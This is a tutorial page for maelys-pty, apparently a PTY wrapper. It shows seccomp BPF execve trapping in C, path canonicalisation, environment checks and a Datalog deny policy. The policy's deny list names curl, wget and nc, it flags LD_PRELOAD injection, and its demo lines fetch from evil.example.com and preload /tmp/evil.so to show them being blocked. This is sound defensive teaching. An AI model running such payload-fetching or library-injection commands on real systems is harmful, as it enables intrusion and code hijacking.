maelys-pty

Level 3 — seccomp + execve + path resolution + envp

Explore native exec monitoring, canonical paths, environment evidence and its limitations.

Continue from Level 2 — Risk model and confirmation. Keep the declarations and helpers from the earlier levels; this page extends the same wrapper in C and Python.

Level 3 moves enforcement to the syscall boundary. A seccomp BPF filter on the child process traps every execve() call before the binary loads. The parent reads the real binary path, resolves relative paths and symlinks via the child’s CWD, and reads envp to detect linker-hijacking variables such as LD_PRELOAD. All three are projected into EDB facts and evaluated by the same Datalog policy. This catches aliases, shell scripts, and environment injection that the Level 1 line filter cannot see.

Why the line filter is not enough

Before moving to Level 3, here is what a line filter — even with metachar scanning — cannot prevent:

Attack vectorLevel 1 (line buffer)Level 3 (seccomp + execve)
Shell alias: alias ls=rmSees ls, allows itSees /bin/rm
Shell script: ./script.shSees ./script.sh, script runs uncheckedEvery execve() inside trapped
Relative path: ./curlSees ./curlResolved to canonical path, checked
LD_PRELOAD injectionInvisible to line filterRead from envp, injected as EDB fact
PerformanceUltra-fast (no syscall overhead)Context switches per execve

The right strategy is both: Level 1 blocks typed lines fast and cheaply; Level 3 catches everything that slips past at the syscall boundary.

Attaching seccomp BPF

CODENative interception boundary
static void child_setup_ptrace(void) {
    if (ptrace(PTRACE_TRACEME, 0, NULL, NULL) < 0) { perror("ptrace"); _exit(1); }

    struct sock_filter filter[] = {
        BPF_STMT(BPF_LD | BPF_W | BPF_ABS, offsetof(struct seccomp_data, nr)),
        BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, __NR_execve, 0, 1),
        BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_TRACE),
        BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_ALLOW),
    };
    struct sock_fprog prog = {
        .len = sizeof(filter) / sizeof(filter[0]), .filter = filter };

    prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0);
    if (prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &prog) < 0) {
        perror("seccomp"); _exit(1);
    }
}

Reading execve arguments with path resolution and envp

The monitor reads the stopped child's pathname, arguments and environment, resolves the pathname against that child's CWD and filesystem namespace, and rejects incomplete reads or failed resolution. Pass environment variable names, not NAME=value strings, to the callbacks below. A canonical pathname remains evidence, not a race-free identity of the executable.

Register a separate Level 3 domain containing pty_preds plus executable_path/1 and env_var/1 as EDB predicates. Its atoms are the quoted strings in the Level 3 policy below, including LD_PRELOAD, LD_LIBRARY_PATH and the denial messages. Load this policy instead of appending it to Level 1; the line-filter allow rule would otherwise bypass the Level 3 decision. The current C session and Python ruleset then evaluate the same snapshot.

CODEEvaluate a snapshot supplied by the native monitor
/* Add executable_path/1 and env_var/1 as EDB declarations for Level 3. */
static int evaluate_exec_snapshot(maelys_datalog_session_t *session,
    const char *canonical_path, const char *const *argv, size_t argc,
    const char *const *env_names, size_t env_count, const char *user)
{
    if (!canonical_path || canonical_path[0] != '/' || !user || !user[0] ||
        !argv || argc == 0 || argc > 64u || env_count > 128u ||
        (env_count && !env_names)) return 0;
    const char *command = strrchr(canonical_path, '/');
    command = command ? command + 1 : canonical_path;
    if (!command[0]) return 0;
    maelys_datalog_input_edb_t *edb = NULL;
    maelys_datalog_result_t *result = NULL;
    maelys_datalog_diagnostic_t diagnostic = MAELYS_DATALOG_DIAGNOSTIC_INIT;
    int allowed = 0;
    maelys_datalog_status_t rc = maelys_datalog_input_edb_create(&edb);
    if (rc != MAELYS_DATALOG_STATUS_OK) goto cleanup;
    rc = MAELYS_DATALOG_ADD_FACTS(edb, &diagnostic,
        MAELYS_DATALOG_FACT("executable_path", canonical_path),
        MAELYS_DATALOG_FACT("command", command),
        MAELYS_DATALOG_FACT("user", user));
    if (rc != MAELYS_DATALOG_STATUS_OK) goto cleanup;
    for (size_t i = 1; i < argc; ++i) {
        rc = MAELYS_DATALOG_ADD_FACT(edb, &diagnostic, "arg", argv[i]);
        if (rc != MAELYS_DATALOG_STATUS_OK) goto cleanup;
    }
    const char *const watched[] = {
        "LD_PRELOAD", "LD_LIBRARY_PATH", "LD_AUDIT", "DYLD_INSERT_LIBRARIES"
    };
    for (size_t i = 0; i < env_count; ++i) {
        if (!env_names[i]) { rc = MAELYS_DATALOG_STATUS_INVALID_ARGUMENT; goto cleanup; }
        for (size_t j = 0; j < 4; ++j) {
            if (strcmp(env_names[i], watched[j]) == 0) {
                rc = MAELYS_DATALOG_ADD_FACT(edb, &diagnostic, "env_var", watched[j]);
                if (rc != MAELYS_DATALOG_STATUS_OK) goto cleanup;
            }
        }
    }
    rc = maelys_datalog_session_solve_edb(session, edb, &result, &diagnostic);
    if (rc != MAELYS_DATALOG_STATUS_OK) goto cleanup;
    rc = MAELYS_DATALOG_QUERY(result, &allowed, "allow", command);
cleanup:
    if (result) (void)maelys_datalog_result_free(result);
    (void)maelys_datalog_input_edb_free(edb);
    return rc == MAELYS_DATALOG_STATUS_OK && allowed;
}

The Level 3 policy

DATALOG
/* ── Forbidden binaries ─────────────────────────────────────── */
forbidden_cmd("curl").
forbidden_cmd("wget").
forbidden_cmd("nc").

/* ── Trusted users ──────────────────────────────────────────── */
trusted_user("alice").

/* ── LD_PRELOAD injection is always denied ──────────────────── */
/* Regardless of which binary is being executed, LD_PRELOAD in
   the environment means the binary's code is no longer trusted. */
deny(Cmd, "LD_PRELOAD_INJECTION") :-
    command(Cmd),
    env_var("LD_PRELOAD").

deny(Cmd, "LD_PRELOAD_INJECTION") :-
    command(Cmd),
    env_var("LD_LIBRARY_PATH").

/* ── Forbidden binary at canonical path ─────────────────────── */
deny(Cmd, "binary is forbidden by policy") :-
    command(Cmd),
    forbidden_cmd(Cmd),
    user(U),
    not(trusted_user(U)).

/* ── deny_any / allow ───────────────────────────────────────── */
deny_any(Op) :- deny(Op, Reason).
allow(Cmd)   :- command(Cmd), not(deny_any(Cmd)).

Level 3 in action

CODE
bob@host:~$ bash script.sh
# script.sh: curl https://evil.example.com/payload
maelys-pty [L3]: execve('/usr/bin/curl') denied by policy
bash: /usr/bin/curl: Operation not permitted

bob@host:~$ ./curl https://example.com
# ./curl is a symlink to /usr/bin/curl
maelys-pty [L3]: execve('/usr/bin/curl') denied by policy
← resolved via /proc/[pid]/cwd + realpath(), policy matched correctly

alice@host:~$ LD_PRELOAD=/tmp/evil.so ls
maelys-pty [L3]: execve('/bin/ls') denied by policy  ← env_var("LD_PRELOAD") fired
bash: /bin/ls: Operation not permitted

What you have learned

Keep this model

Distinguish typed intent from the process actually executed
  • Observe the execution boundary

    A native Linux monitor can provide the executable path, arguments and environment at execve. This complements the earlier inspection of the typed line.

  • Evaluate the observed evidence

    The extended policy uses executable-path and environment facts, including injection-sensitive variables. Incomplete inspection must not be treated as permission.

  • Keep the limits visible

    The native snippets illustrate integration, not a finished sandbox. Canonicalizing a pathname does not prove a race-free executable identity, and the Python binding does not implement the syscall monitor.

Continue